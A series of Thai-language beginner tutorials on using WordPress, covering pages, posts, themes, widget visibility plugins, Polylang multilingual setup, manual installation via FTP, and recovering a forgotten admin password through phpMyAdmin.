จุดเริ่มต้นของการสร้างเว็บไซต์ก็คือการสร้างเพจ(page) เพจเป็นองค์ประกอบที่สำคัญของ WordPress โดยทั่วไปจะเป็นลิงค์ๆหนึ่งในเมนู เพจมักใช้กับเนื้อหาที่แน่นอนที่ไม่มีการเปลี่ยนแปลงมากนัก ในระบบของ WordPress เราสามารถเลือกเลย์เอาท์ของแต่ละเพจให้แตกต่างกันได้ ซึ่งขึ้นอยู่กับ theme ที่ใช้ด้วย (แต่โพสต์-post ไม่สามารถเลือกได้) และถ้าหากเรารู้วิธีการแก้ไข theme นิดหน่อยก็สามารถอัพโหลดเลย์เอาท์แบบที่เราต้องการเพิ่มเข้าไปได้ แต่โดยทั่วไป theme (ฟรี) ก็มีเลย์เอาท์ที่เพียงพอกับความต้องการได้พอควร ภายใน page ก็คือที่ที่เราจะใส่ข้อความ รูปภาพหรืออะไรต่างๆลงไป จริงๆก็คือหน้าเว็บไซต์หน้าหนึ่ง แต่ในภาษาของ WordPress จะเรียกว่า page การสร้าง page (หรือหน้าเว็บไซต์) กดเมนู Pages->Add New จะเป็นการสร้างหน้า page ใหม่ การสร้างเพจ เมื่อเราสร้าง page เรามีทางเลือกสามอย่าง ต้องการให้โชว์ลิงค์ของ page นั้นในหน้าเว็บไซต์เลย เลือก publicต้องการให้ใส่รหัสผ่านจึงจะลิงค์ไปยัง page นั้นเลือก password protectedต้องการซ่อนลิงค์ไว้ แต่แสดงให้เห็นเฉพาะทีมงานที่ login ผ่าน mysite.com/wp-admin เลือก Private สถานะของเพจ ปกติจะเซตไว้เป็น Public หมายความว่าเผยแพร่ทันที นอกจากนี้เรายังสามารถเซตวันที่และเวลาที่เผยแพร่เพจนั้นได้ด้วย ซึ่งจะมีผลต่อการแสดงผลก่อนหลัง ปกติเมื่อเราสร้าง page แล้วกดปุ่ม Publish จะถือว่าเป็นแบบแรก หากต้องการให้เป็นแบบอื่นก็กลับมาแก้ไขทีหลัง กดปุ่ม Save Draft ถ้าต้องการบันทึกไว้เป็นเค้าโครงก่อนที่จะ publish แต่แนะนำว่าพอเขียนเสร็จก็ให้กดปุ่ม Publish แล้วถ้าต้องการซ่อนก็มาเปลี่ยนเป็น Private ภายหลังจะดีกว่า ส่วนวันเดือนปีและเวลาของการสร้างแต่ละ page ก็เปลี่ยนแปลงได้ตามต้องการ ปกติวันที่และเวลาในการเผยแพร่จะมีประโยชน์กับโพสต์ (post) เพราะจะใช้ในการเรียงลำดับก่อนหลังเวลาแสดงรายการโพสต์ออกมา Page Attributes Parent หมายถึงว่า page นี้เป็น page ย่อยของ page ใด ถ้าเราทำ page ให้อยู่ในระนาบเดียว ก็ไม่จำเป็นต้องเซต การจัดเพจเป็นหลายระดับจะจำเป็นก็ต่อเมื่อคุณต้องการ url ของเพจนั้นถูกแบ่งเป็นส่วนๆ เช่น http://www.wordpresspage.com/parent-page/child-page/this-page Template หมายถึงว่า page นี้จะใช้ layout แบบใด ซึ่งขึ้นอยู่กับ theme ที่ใช้ ชื่อแต่ละชื่อแล้วแต่ คนทำ theme จะตั้ง ส่วน layout จริงๆเป็นอย่างไรก็ต้องดูจากเว็บไซต์ของคนทำtheme (ซึ่งส่วนใหญ่ของฟรีจะมีน้อยหรือไม่มี คือเป็น Default Template) Parent page ใช้บอกว่าเพจนี้อยู่ภายใต้เพจอะไร มีผลต่อ url ของเพจนี้ Template เป็นตัวเลือก layout ของเพจนี้ซึ่งขึ้นอยู่กับว่าใช้ธีมอะไร Featured Image เซตรูปประจำเพจ หมายถึงรูปประจำ page นั้นๆ ปกติ WordPress จะยอมให้มี featured image ได้รูปเดียวต่อหนึ่ง page ถ้าหากต้องการมากกว่าหนึ่งก็จะต้อง เลือก theme ที่สามารถ featured image ได้หลายรูปเลือก plugin ที่สามารถเซต featured image ได้หลายรูปใส่รูปเข้าไปใน content ของ page ซึ่งจะใส่กี่รูปก็แล้วแต่เรา ตำแหน่งของ featured image ขึ้นกับ theme ยกเว้นกรณี 3. ซึ่งเราจัดแต่งเอง ทำความเข้าใจกับ Post ของ WordPress WordPress มีหลักการที่สำคัญสองอย่างคือ page และ post Post หมายถึงเรื่องๆหนึ่งหรือบทความๆหนึ่ง ซึ่งจะแสดงเป็นลิงค์ในหน้าหลักประกอบกับข้อความสั้นๆ และตามด้วยปุ่ม Read more และเมื่อคลิกก็จะแสดงทั้งหน้าให้เห็น การสร้าง post (หรือบทความ) กดเมนู Posts->Add New จะเป็นการสร้างหน้า post ใหม่ การสร้าง post ใหม่จะเหมือนกับการสร้าง page…

การใช้งาน WordPress – ติดตั้ง theme

การใช้งาน WordPress – ติดตั้ง theme

เมื่อคราวที่แล้วได้กล่าวถึงการติดตั้ง WordPress มาแล้ว นั่นเป็นจุดเริ่มต้น เป็นอันว่าเรามีเว็บไซต์ที่พร้อมจะทำงานแล้ว ขั้นต่อไปก็เป็นการใส่เนื้อหา สำหรับในเบื้องต้น ควรจะเริ่มใส่เนื้อหาเข้าไปเป็นอันดับแรก ยังไม่ต้องไปสนใจเรื่องดีไซน์มากนั้น เพราะเป็นเรื่องของ theme ซึ่งตัวมาตรฐานคือ twenty fourteen ค่อยๆลองหาไป ที่ให้ใส่เนื้อหาเข้าไปก่อนก็เพราะว่า google และ search engine อื่นๆจะได้เข้ามาอ่าน ระบบการจัดอันดับเว็บเหล่านี้ไม่สนใจดีไซน์สนใจแต่เนื้อหา เพราะฉะนั้นความสวยงานเอาไว้แต่งทีหลัง การเข้าระบบ Backend การเแก้ไขหรือเซตระบบใดๆจะต้องทำฝ่านระบบ backend ซึ่งทำได้โดยพิมพ์ www.mysite.com/wp-admin ระบบ backend มีหน้าตาดังรูป Dashboard ของ WordPress สิ่งที่เห็นเรียกว่าเป็น Dashboard พื้นที่ทางขวาจะบอกสถานะบางอย่างของเว็บไซต์เรา และมีลิงค์ลัดไปยังจุดที่สำคัญๆ ไม่ต้องซีเรียสกับหน้านี้ ที่เราเกี่ยวข้องคือเมนูทางด้านซ้าย ภาพรวมของระบบ WordPress โดยพื้นฐาน WordPress เป็นระบบที่เรียกว่าระบบ Blog หมายถึงเป็นระบบที่ประกอบไปด้วยข่าวสารที่มีองค์ประกอบสองอย่างคือ Title และ Content และมีระบบที่ ผู้อ่านที่เป็นสมาชิกในเครือข่ายของ WordPress สามารถติดตามเนื้อหา(Title และ Content )ใหม่ๆจาก blog ที่สมัครเป็นสมาชิกได้ โดยจะได้รับการแจ้งเมื่อมีเนื้อหาใหม่ คล้ายกับ facebook ที่เราไปกด like หรือ followมีระบบสมัครสมาชิกผ่าน Email เพื่อรับแจ้งเมื่อมีเนื้อหาใหม่ๆ ถ้าเราต้องการมีเพียงแค่ blog ก็แทบไม่ต้องทำอะไรเพราะ WordPress โดยพื้นฐานก็คือ blog อยู่แล้ว WordPress กับเว็บไซต์ ถ้าเราต้องการมากกว่าเป็น blog คือเป็นเว็บไซต์ก็จะต้องมีการเพิ่มเติมความสามารถโดยผ่านสิ่งที่เรียกว่า plugin ซึ่งจะต้องติดตั้งเพิ่มเติม ตัวอย่างสิ่งที่ต้องใช้ plugin การทำ slider การลูกเล่น animation ต่างๆ การทำให้เว็บเป็นระบบขายสินค้าออนไลน์ การเชื่อมต่อเว็บเราเข้ากับเว็บไซต์อื่นๆ เช่น facebook, twitter หรือพวก social network ต่างๆ และอื่นๆอีกมามาย WordPress กับความสวยงาม หน้าตาของเว็บไซต์เรียกว่า Theme ซึ่งหมายถึง layout เช่น หนึ่งหน้าจะมีคอลัมภ์เดียวหรือสองคอลัมภ์ เมนูจะอยู่ข้างบน ข้างซ้าย ข้างขวา สีพื้นเป็นสีอะไร กรอบข้อความเป็นสีอะไร WordPress มี theme อยู่นับล้าน ทั้งฟรีและเสียเงิน และเมื่อติดตั้งจะมี theme มาตรฐานให้ 3 ตัว การติดตั้ง theme แบบอัตโนมัติ กดเมนู Appearance -> Themes ตัวมาตรฐานล่าสุดชื่อ Twenty Fourteen ถ้าไม่ชอบก็สามารถค้นหา theme ฟรีโดยกด Add New Theme ปุ่มเพิ่มธีมใหม่ จะขึ้น theme มากมายมาให้เลือก รายการธีมฟรีในคลังของ WordPress Featured หมายถึง theme ที่เขาแนะนำ Popular หมายถึง theme ที่คนนิยมดาวน์โหลดไปติดตั้ง Lastest หมายถึง theme ฟรีที่มาใหม่ Featured Filter หมายถึงให้ค้นหา theme ที่มีคุณสมบัติตามที่เราต้องการ Theme ฟรีเหมาะกับเว็บไซต์ที่เน้นข่าวสาร ข้อมูล แต่ก็ไม่ใช่ว่าจะไม่สวยงาม แต่จะมีข้อจำกัดในการปรับแต่งผ่านเมนู (เพราะมีเมนูให้ปรับแต่งน้อย) เช่นมักจะ fix ขนาดfont หรือโทนสี แต่ก็มี theme ฟรีหลายตัวที่ปรับแต่งได้มากแต่ก็มักไม่ update ตามรุ่นของ WordPress แต่โดยทั่วไป theme ฟรีก็ถือว่าใช้ได้ในระดับเกินค่าเฉลี่ย ถ้าต้องการ theme ตัวใดก็ทำโดยการกดปุ่ม install ที่ theme ตัวนั้น ถ้าต้องการดูหน้าตาก่อนก็กดปุ่ม Preview เลือกติดตั้งธีม การติดตั้ง theme แบบอัพโหลดไฟล์ theme บางตัวไม่ได้อยู่ในระบบของ WordPress ก็จะมาในรูปของไฟล์ให้เราดาวน์โหลดผ่านอินเตอร์เนต ซึ่งอาจจะมาจากเว็บไซต์ของ wordpress.com…

การซ่อน Widget ในบางหน้า

การซ่อน Widget ในบางหน้า

ผู้ที่ใช้ WordPress ใหม่ๆอาจมีความสงสัยว่าทำอย่างไรจึงจะซ่อนหรือบังคับให้ widget แสดงเฉพาะในบางหน้า เพราะเมื่อเราวาง widget ลงใน sidebar แล้ว หน้าใดที่มี sidebar นั้นก็จะแสดง widget นั้นเสมอ ซึ่งอาจจะสร้างความหงุดหงิดให้เราไม่น้อย ธีมบางตัวอาจมีความสามารถในการเปิดปิด sidebar ในบางหน้า แต่ก็ไม่สะดวก วิธีที่ง่ายที่สุดในการเปิดปิด widget ในบางหน้าก็คือการใช้ plugin ซึ่งจะเพิ่ม option เข้าใปใน widget แต่ละตัวโดยอัตโนมัติ ซึ่งสามารถระบุลงไปได้ว่าจะให้ widget โชว์เฉพาะหน้าใด JP Widget Visibility ตัวนี้น่าจะเป็น plugin ที่รู้จักกันอย่างดีที่สุด เพราะมีอยู่ใน wordpress.com และรวมอยู่ในชุด Jetpack ซึ่งเป็น plugin สำหรับ wordpress.com หรือเว็บไซต์ที่เราเป็นเจ้าของเอง ตัวนี้เป็นตัวแยกออกมาเดี่ยวๆ ซึ่งเหมาะสำหรับคนที่ไม่ต้องการชุด Jetpack ทั้งหมดซึ่งมีขนาดใหญ่ ดาวน์โหลด เมื่อเราติดตั้ง plugin ตัวนี้แล้ว ไม่ต้องมีการเซตใดๆ plugin ตัวนี้เพียงแต่เข้าไปเพิ่มปุ่ม Visibility และเมนูเข้าไปกับ widget ทุกตัวที่เรามีอยู่ ยกตัวอย่างเช่น widget ปฏิทิน ซึ่งโดยปกติจะมีแต่ให้เซต title แต่จะมีปุ่ม visibility เพิ่มตามรูป ตัวอย่างวิดเจ็ด Calendar ปลั๊กอินจะแสดงเงื่อนไขให้เราเลือกว่าจะแสดง widget ภายใต้เงื่อนไขอะไร เช่นเลือกหน้า(page)เป็นเงื่อนไข หากเราต้องการให้ show หรือซ่อน (hide) ก็เลือกช่องคอมโบบ็อกซ์อันแรก (1) แล้วในคอมโบบ็อกซ์ Select (2) จะมีรายการต่อไปนี้ให้เลือก คลิกเลือก Select เพื่อเลือกเงื่อนไข เช่น เลือกตาม Category ตาม Page เช่นถ้าในคอมโบบ็อกซ์อันแรกเราเลือก Show แล้วในช่องนี้เราเลือก Page ก็หมายความว่าเราต้องการให้วิตเจ็ต calendar นี้ถูกแสดงเฉพาะ page และในคอมโบบ็อกซ์ที่ (3) ก็จะใช้สำหรับเซตว่าต้องการเฉพาะเพจอะไร เช่น สมมติกำหนดว่าเลือกหน้า (page) เป็นเงื่อนไข เงื่อนไขต่อไปคือกำหนดว่าจะเจาะจงเพจไหน ตามรูปถ้าเราเลือกเป็น Page หมายความว่าเราต้องการให้วิตเจ็ต calendar นี้แสดงทุก page (แต่ไม่แสดงในแต่ละ post) และหากเลือกเป็น Post ก็จะแสดงในทุก post (แต่ไม่แสดงใน page) Display Widgets ยังมีปลั๊กอินอีกตัวที่มีฟังก์ชันคล้ายๆกันคือ display-widgets ตัวนี้มีฟังก์ชันพิเศษเพิ่มขึ้นมาคือสามารถใช้ user เป็นเงื่อนไขในการแสดงวิดเจ็ดนั้นได้ ปลั๊กอิน Display-Widget สามารถกำหนดเงื่อนไขตามประเภท user รวมกับเงื่อนตามประเภทของ page คลิกเลือกตามประเภท user คลิกเลือกตามประเภท user ได้สามแบบ คลิกเลือกว่าจะแสดงหรือไม่ คลิกเลือกว่าจะแสดงหรือไม่แสดง widget คลิกเลือกตามประเภทของ page Miscellaneous +/- Front Page Blog Page Archives Page Single Post Page 404 Page

การทำ WordPress หลายภาษาด้วย Polylang

การทำ WordPress หลายภาษาด้วย Polylang

มีเว็บไซต์จำนวนไม่น้อยต้องการให้แสดงได้หลายภาษา เทคนิคในการทำเว็บไซต์หลายภาษาสำหรับ WordPress มีหลายวิธี และก็มี plugin จำนวนมากที่ช่วยในการแสดงหลายภาษา ในที่นี้จะแนะนำการทำเว็บไซต์สองภาษาด้วย Polylang วิธีที่ง่ายที่สุดในการทำเว็บไซต์สองภาษาหรือหลายภาษาก็คือการเขียนหลายๆภาษาในโพสท์เดียวกัน เช่น เขียนภาษาไทย แล้วตามด้วยภาษาอังกฤษ และภาษาอื่นๆ แล้วทำลิงค์เพื่อ scroll ไปยังส่วนของภาษานั้นๆ วิธีนี้ง่ายแต่ผู้ทำเว็บไซต์ส่วนมากไม่ชอบเพราะว่าดูไม่สวยและทำให้โพสท์ยาวและรกรุงรัง แต่วิธีนี้ดีสำหรับการทำ SEO อีกวิธีหนึ่งซึ่งสะดวกกว่ามากคือหา plugin ที่มีช่องสำหรับใส่ได้หลายภาษาแยกต่างหากออกจากกัน แต่ทั้งหมดยังอยู่ในโพสท์เดียวกัน แล้วเมื่อแสดงในหน้าเว็บไซต์มีปุ่มให้กดเลือกว่าจะแสดงภาษาไหน โดยไม่ต้องโหลดโพสท์หรือเพจนั้นใหม่ (เพราะถูกโหลดมาพร้อมกันแล้ว) แต่ภาษาใดภาษาหนึ่งจะถูกซ่อนไว้โดยเทคนิคที่เรียกว่า ajax การสลับภาษาโดยวิธีนี้จะลื่นมากเพราะไม่มีการโหลดอะไรเพิ่ม แต่ข้อเสียคือจะมีผลต่อการทำ SEO กับภาษาที่เป็น default เท่านั้น เทคนิคที่จะกล่าวถึงนี้คือแยกเป็นโพสท์แต่ละภาษาแล้วเชื่อมโยงถึงกัน สมมติว่าเราต้องการทำเว็บไซต์สองภาษา ให้เขียนโพสท์เป็นสองเรื่อง เรื่องหนึ่งเป็นภาษาไทย อีกเรื่องหนึ่งเป็นภาษาอังกฤษ(หรือภาษาอื่น) จากนั้นเซตให้โพสท์ทั้งสองเกี่ยวข้องกัน โดย plugin สำหรับ WordPress ที่ใช้เทคนิคนี้คือ Polylang ซึ่งให้ผลดีในการทำ SEO ด้วย การเซตภาษา เมื่อติดตั้ง plugin แล้วให้ไปที่ Settings->Languages ซึ่งเราจะต้องเพิ่มภาษาที่เราต้องการเข้าไป เช่นถ้าเรากำลังทำเว็บไซต์สองภาษา ภาษาไทย และภาษาอังกฤษ ก็ให้เพิ่มภาษาทั้งสองโดยช่อง Choose a language เลือกภาษาอังกฤษ แล้วกดปุ่ม Add New Language และเลือกภาษาไทยเพิ่มเข้าไป การเพิ่มภาษาใหม่ การเซตเมนู หลักการของ polylang คือเราจะต้องสร้างเมนูแต่ละภาษาแยกออกจากการเป็นชุด เช่นสมมติว่าเรามีเมนูอยู่แล้วเป็นภาษาอังกฤษดังนี้ Home – Product – Service – About และเราต้องการเมนูเป็นภาษาไทยดังนี้ หน้าหลัก – สินค้า – บริการ – เกี่ยวกับ เราจะต้องสร้างเมนูสองอัน อันหนึ่งสำหรับภาษาอังกฤษ สมมติว่าชื่อ menu-1-eng อันหนึ่งเป็นภาษาไทยสมมติชื่อ menu-1-thai โดยเข้าไปที่ Appearance->Menus เราต้องสร้างเมนูเพิ่มอีกชุดสำหรับอีกหนึ่งภาษา ตั้งชื่อเมนู menu-1-thai แล้วกด Create Menu แล้วสร้างอีกอันหนึ่งชื่อ menu-1-eng จากนั้นก็เซต menu-1-thai ตามรูป จะต้องเซต theme location ของแต่ละเมนูของภาษาใหม่ด้วย สังเกตว่าธีมแต่ละตัวจะมีจำนวนเมนูมาให้ไม่เท่ากัน ธีมมาตรฐานมีให้ 2 เมนู คือ Top primary menu และ Secondary menu in left sidebar ซึ่งเมื่อติดตั้ง polylang แล้วแต่ละเมนูจะถูกแตกเป็นหลายเมนูตามจำนวนภาษาที่เรา add เข้าไป ซึ่งชื่อภาษานั้นจะไปต่อท้ายชื่อเมนูตามรูป ในที่นี้เราต้องการใช้เมนูชุดเดียว(ที่ตำแหน่งเดียว) จึงเซต menu-1-thai ไว้ที่ [Top primary menu ไทย] ตามรูป (1 หมายถึง Top) ทำนองเดียวกัน เลือก menu-1-eng แล้วเซตไว้ที่ [Top primary menu English] ณ จุดนี้เราก็ได้เมนูสองอันสำหรับสองภาษาแล้ว สร้าง page สองภาษา ตามตัวอย่างข้างต้น ถ้าเรามีเพจชื่อ product ซึ่งเป็นภาษาอังกฤษอยู่แล้ว เราก็เข้าไปแก้เพจนั้น ซึ่งจะสังเกตเห็นว่ามีแท็บ Language เพิ่มเข้ามาทางขวา ให้เลือก Language เป็น English แล้วกด update แล้วใต้ Translation ให้กดปุ่ม + ซึ่งจะเป็นการสร้างเพจใหม่ขึ้นมาซึ่งเป็นเพจที่เราจะต้องใส่ภาษาที่สอง ในที่นี้คือภาษาไทย แต่ถ้ายังไม่มีเพจมาก่อน ให้กด Pages->Add New แล้วใส่ title และ content เป็นภาษาอังกฤษ แล้วตรง language เลือกภาษาอังกฤษแล้วกดปุ่ม publish จากนั้นกดปุ่ม + ซึ่งจะเป็นการสร้างเพจใหม่ เมื่อสร้างเพจใหม่สังเกตว่าจะมี tab เพิ่มสำหรับอีกภาษาหนึ่ง ภายใต้เพจใหม่ สมมติว่าตั้ง title…

การติดตั้ง WordPress ตอนที่ 2 – การอัพโหลดไฟล์

การติดตั้ง WordPress ตอนที่ 2 – การอัพโหลดไฟล์

ขั้นตอนต่อไปก็คือการอัพโหลดไฟล์ของ WordPress ขึ้นไปยัง host ที่เราเซตเอาไว้ ก่อนอื่นต้องทำความเข้าใจว่าเราสามารถใช้ระบบ auto install ของ host ติดตั้ง WordPress ให้เราโดยตรง แต่การติดตั้งด้วยตัวเองจะทำให้เราเข้าใจกระวนการทำงานของ WordPress ได้ดียิ่งขึ้น และเมื่อเว็บไซต์มีปัญหา การอัพโหลดด้วยตัวเองเป็นขั้นตอนที่สำคัญมาก การอัพโหลดทำโดยใช้ซอฟต์แวร์ประเภท FTP ซึ่งภายใน cPanel ก็มีเครื่องมือตัวนี้อยู่ในตัว แต่ในที่นี้จะแนะนำให้ใช้ซอฟต์แวร์ FTP ภายนอกที่เป็นที่นิยมกันคือ FileZilla ซึ่งดาวน์โหลดได้จาก FileZilla Project เซตโฮสต์และอัพโหลดไฟล์ เลือกปุ่มมุมขวาบนเพื่อเซตโฮสต์ การเซตรหัสเพื่อติดต่อ host ผ่าน FileZilla จากนั้นเลือก New Site เพื่อตั้ง username และ password สำหรับไซต์ใหม่ และใส่ข้อมูลที่ได้จากโฮสต์ 1. Host -> ftp.mysite.com 2. ใส่หมายเลข port (ถ้ามี) ถ้าไม่มีจะถือว่าเป็น 21 (ไม่ต้องใส่ 21 ปล่อยว่างไว้) 3. เลือก Logon Type เป็น Normal 4. ใส่ user และ password ที่ได้มาจากโฮสต์ การติดตั้ง WordPress ด้วย FTP ดาวน์โหลด wordpress จาก wordpress.org แล้วแตกไฟล์ แล้วเลือกทุกไฟล์แล้วลากไปวางใน FileZilla ณ โฟลเดอร์ public_html หรือชื่ออื่นคล้ายกันเช่น htmldoc หรือชื่อที่โฮสต์ระบุไว้ อะไรที่อยู่ในโฟลเดอร์ดังกล่าวลบออกให้หมด เพราะเรากำลังจะเอา wordpress ไปแทนที่ เมื่อ FileZilla สามารถติดต่อกับโฮสต์ได้ เลือกไฟล์ทั้งหมดของ WordPress แล้วลากไปวางที่ปลายทาง(โฮสต์) การเซตฐานข้อมูล การที่ WordPress จะทำงานได้ต้องการฐานข้อมูล 1 ตัว ซึ่งโดยปกติโฮสต์เช่าจะมีให้ใช้ได้อย่างต่ำก็สองตัว บางแห่งอาจมีให้ไม่จำกัด ขึ้นอยู่กับระดับราคา เราจะใช้ข้อมูลเกี่ยวกับฐานข้อมูลที่เตรียมไว้ในตอนที่ 1 เปิดเว็บไซต์ของเรา เช่น mysite.com ที่เบราเซอร์ จะเห็นหน้าจอซึ่งบอกให้เราเตรียมข้อมูลเกี่ยวกับฐานข้อมูล เริ่มติดตั้ง wordpress กด Let’s go แล้วกรอกข้อมูลที่เราเตรียมไว้ลงไป การติดตั้ง wordpress การเซตฐานข้อมูล สังเกตที่ช่อง Database Host ถ้าโฮสต์ที่เราใช้ไม่ได้ระบุก็มักจะหมายถึง localhost ซึ่งเป็นค่า default ส่วนช่อง Table Prefix หมายถึงอักษรที่จะใช้นำหน้าตารางที่อยู่ในฐานข้อมูลของ WordPress ซึ่งค่าปกติก็คือ wp_ แต่เนื่องจาก WordPress เป็น Opensource ดังนั้นแฮคเกอร์จึงรู้กลไกการทำงานและรู้ชื่อตารางทั้งหมดที่อยู่ในฐานข้อมูล การเพิ่มอักษรนำหน้าตารางจะช่วยให้แฮคเกอร์เดาชื่อตารางได้ยากขึ้น ซึ่งเป็นการป้องกันได้ระดับหนึ่ง เราอาจตั้งช่องนี้เป็น od_ หรือ lk_ หรืออะไรที่ไม่มีความหมายได้ ถ้าทุกอย่างถูกต้อง WordPress จะขึ้นหน้าจอให้เราดำเนินการต่อ โดยกดปุ่ม Run the install แต่บางครั้งอาจเกิดข้อความ การติดตั้ง wordpress – run install ซึ่งหมายความว่า WordPress สามารถติดต่อกับฐานข้อมูลได้ แต่ไม่สามารถสร้างไฟล์ config-config.php ซึ่งเป็นไฟล์ที่ใช้เก็บข้อมูลเกี่ยวกับฐานข้อมูลได้ เนื่องจาก server ได้เซตไว้ว่าห้าม write ลงบนไดเรกทอรี่ปลายทางได้ อันนี้ให้ไปเข้า cpanel หรือใช้ FileZilla แก้ไขสิทธ์ให้เราสามารถได้ ขั้นตอนสุดท้าย หลังจากนั้น ก็ตั้งชื่อ title ของเว็บไซต์ ที่สำคัญคือชื่อของ admin ที่จะทำการดูแลเว็บไซต์ ให้ตั้งชื่อที่ไม่ใช่ชื่อสามัญเช่น admin, root, administrator, john รวมทั้งการใช้ชื่อโดเมนเนม เพราะจะทำให้ถูกแฮคได้ง่าย ส่วนรหัสผ่านก็ตั้งใช้ยาวสัก 10 ตัว มีตัวเลขผสมอักษรตัวใหญ่และอักษรพิเศษเช่น ^#$ ตรงนี้อย่าเห็นว่าไม่สำคัญ สุดท้ายคืออีเมลล์สำหรับสื่อสารระหว่างเราในฐานะ admin…

การติดตั้ง WordPress ตอนที่ 1 – จัดเตรียม host จริง

การติดตั้ง WordPress ตอนที่ 1 – จัดเตรียม host จริง

การติดตั้ง WordPress ไม่ใช่เรื่องยุ่งยากอะไร คนที่จะเริ่มทำขั้นตอนนี้ควรจะลองเล่น wordpress.com มาแล้ว หรือถ้าเคยอัพโหลดไฟล์ลง host จริงมาก่อนแล้วก็ไม่มีอะไรใหม่ การเริ่มต้นทำเว็บไซต์ด้วย WordPress วิธีที่ดีที่สุดคือ การทดลองติดตั้งบน host จริง ซึ่งจะทำให้ได้เว็บจริงๆทันที มีเว็บไซต์ฟรีให้ทดลองใช้อยู่หลายแห่ง ในที่นี้จะทดลองบน hostinger.in.th ซึ่งเปิดให้ใช้ฟรี หากพอใจก็จ่ายเงินเป็นสมาชิกต่อตามอัชฌาสัย WebStyleApp ไม่มีส่วนเกี่ยวข้องใดๆกับ hostinger ทั้งสิ้น เพียงแต่นำส่วนที่ทางเว็บให้บริการฟรีมาทดลองใช้ และแนะวิธีการใช้เท่านั้น สมัครสมาชิก host เริ่มจากการสมัครสมาชิก hostinger เลือกเมนู web hosting เลือก free แล้วก็ “สั่งซื้อ” ใส่ username, email และรหัสผ่าน จากนั้นระบบจะส่ง email กลับมาให้ ให้กดลิงค์ยืนยัน จากนั้นเลือกให้เลือกประเภท host ช่วงแรกอาจเลือกเป็น Free เพื่อทดลองใช้ เลือกโดเมนเนม ต่อไปเป็นขั้นตอนการตั้งชื่อโดเมน ถ้ายังไม่มีโดเมนก็ใช้ของฟรีไปก่อน ตามรูป ตอนนี้เราก็มีเว็บไซต์แล้วชื่อ develop.zz.vc ซึ่งเป็นหน้าเว็บเริ่มต้นที่ทาง host เซตไว้ ซึ่งในการติดตั้งต่อไปเราจะต้องลบหน้าเพจนี้ออก แล้วเอาเว็บของเราเข้าแทน สร้างฐานข้อมูลสำหรับ WordPress ต่อไปคลิกที่เครื่องหมายบวกเล็กๆจะมีเมนูให้เลือก ซึ่งสามารถติดตั้ง WordPress โดยอัตโนมัติโดยใช้ Auto installer แต่ในที่นี้จะแนะนำให้ติดตั้งเอง เผื่อมีปัญหาจะได้แก้ไขเองได้ และเข้าใจหลักการ อีกอย่างหนึ่ง host บางแห่งไม่มี auto install ให้ติดตั้ง WordPress หรือมีแต่เวอร์ชันไม่อัพเดท ให้เลือก Manage ตามรูป จากนั้นจะเข้าสู่เมนูของระบบ เลื่อนหน้าจอไปที่หมวด Databases และเลือก MySQL Databases ตามรูป ตั้งชื่อฐานข้อมูล และตั้งรหัสผ่านสำหรับฐานข้อมูล สังเกตว่าระบบจะสรุปข้อมูลเกี่ยวกับฐานข้อมูลที่สร้างไว้ให้ ซึ่งเราจะนำไปใช้ในการติดตั้ง WordPress ซึ่งเราจะใช้ข้อมูลข้างต้นในการติดตั้ง WordPress ต่อไป ต่อไปก็คือการอัพโหลดไฟล์ของ WordPress ขึ้นไปยัง host

ลืมรหัสผ่าน WordPress

ลืมรหัสผ่าน WordPress

ลืมรหัสผ่าน ลืมอีเมล์ ไม่ใช่เรื่องน่ากลัว แต่คุณต้องมีรหัสผ่านของโฮสต์ ใช้ phpmyadmin จะแก้ปัญหาได้ ปัญหาคลาสสิคของผู้ดูแลเว็บไซต์ (จำเป็น) ก็คือลืมรหัสผ่านของ admin ซึ่งปกติก็จะแก้ปัญหาด้วยการกดลิงค์ forgot password แต่ถ้าหากคุณไม่รู้อีเมล์ของ admin (คนเก่าไปแล้วมาทำแทนหรือคุณลืมซะเอง) ซ้ำร้ายกว่านั้นบางคนอาจใช้โฮสต์ที่ไม่อนุญาตให้มีการส่งอีเมลล์อัตโนมัติ(ซึ่งปัจจุบันแทบจะไม่มี) คุณก็จะไม่สามารถรีเซตรหัสผ่านโดยใช้อีเมลล์ได้ กรณีไม่หนักหนาสาหัส แต่ต้องยุ่งกับเรื่องเทคนิคเล็กน้อย แต่ถ้าลืมถึงคราจำเป็นก็ต้องทำ การเก็บรหัสผ่านของ WordPress เมื่อเราติดตั้ง WordPress ครั้งแรก เราจะตั้งยูสเซอร์ที่ทำหน้าที่เป็น admin ซึ่งรหัสผ่านจะถูกนำมาเข้ารหัสอีกทีหนึ่งเก็บไว้ในฐานข้อมูลในตารางที่ชื่อ users รหัสผ่านที่ถูกเข้ารหัสไว้นี้ไม่สามารถแปลงกลับมาเป็นรหัสผ่านได้ง่ายๆ ซึ่งถ้าหากเราลืม หนทางเดียวคือสร้างรหัสผ่านใหม่ ซึ่งหากทำผ่านลิงค์ forgot password ก็จะเป็นการรีเซตรหัสผ่านใหม่ แต่หากโฮสต์ที่เราใช้ไม่สามารถส่งอีเมลล์อัตโนมัติได้ ก็ต้องแก้ที่ฐานข้อมูลโดยตรง ต้องมีรหัสผ่านของ PhpMyAdmin โดยปกติผู้ดูแลระบบจะมีรหัสผ่าน phpmyadmin จากโฮสต์ที่ใช้บริการอยู่แล้ว เข้าไปใน phpmyadmin แล้วคลิกที่ตาราง users คลิกที่ xxx_users ปกติ xxx จะเป็น wp จะปรากฏรายชื่อ user ในระบบของ WordPress ตามรูป ดูว่าชื่อล็อกอินเดิมของเราคืออะไร คลิก Edit ที่แถวนั้น สมมติว่าเราต้องการรีเซตรหัสผ่านของ vichuda ให้คลิกที่ Edit แล้วจะปรากฏฟอร์มดังรูป ในช่อง user_pass เลือก MD5 แล้วใส่รหัสผ่านใหม่ กด Go ในคอลัมภ์ user_pass เลือกฟังก์ชันเป็น MD5 และใส่รหัสผ่านใหม่ที่ต้องการ ในที่นี้คือ mynewpassword แล้วกดปุ่ม Go โปรแกรมจะเข้ารหัสแบบ MD5 แล้วบันทึกไว้ในฐานข้อมูล แค่นี้ก็เป็นอันเสร็จการรีเซตรหัสผ่าน อีกวิธีหนึ่งคืออ่านช่อง user_email คุณก็จะรู้ว่าอีเมล์ที่คุณใช้ตอนติดตั้งคืออะไร แล้วไม่ต้องแก้ไขรหัสผ่าน ใช้อีเมล์นั้นใส่ในลิงค์ forgot password ตอนล็อกอินแล้วก็ไปอ่านในอีเมล์อีกที

เลือกใช้ WordPress .com หรือ .org ดี

เลือกใช้ WordPress .com หรือ .org ดี

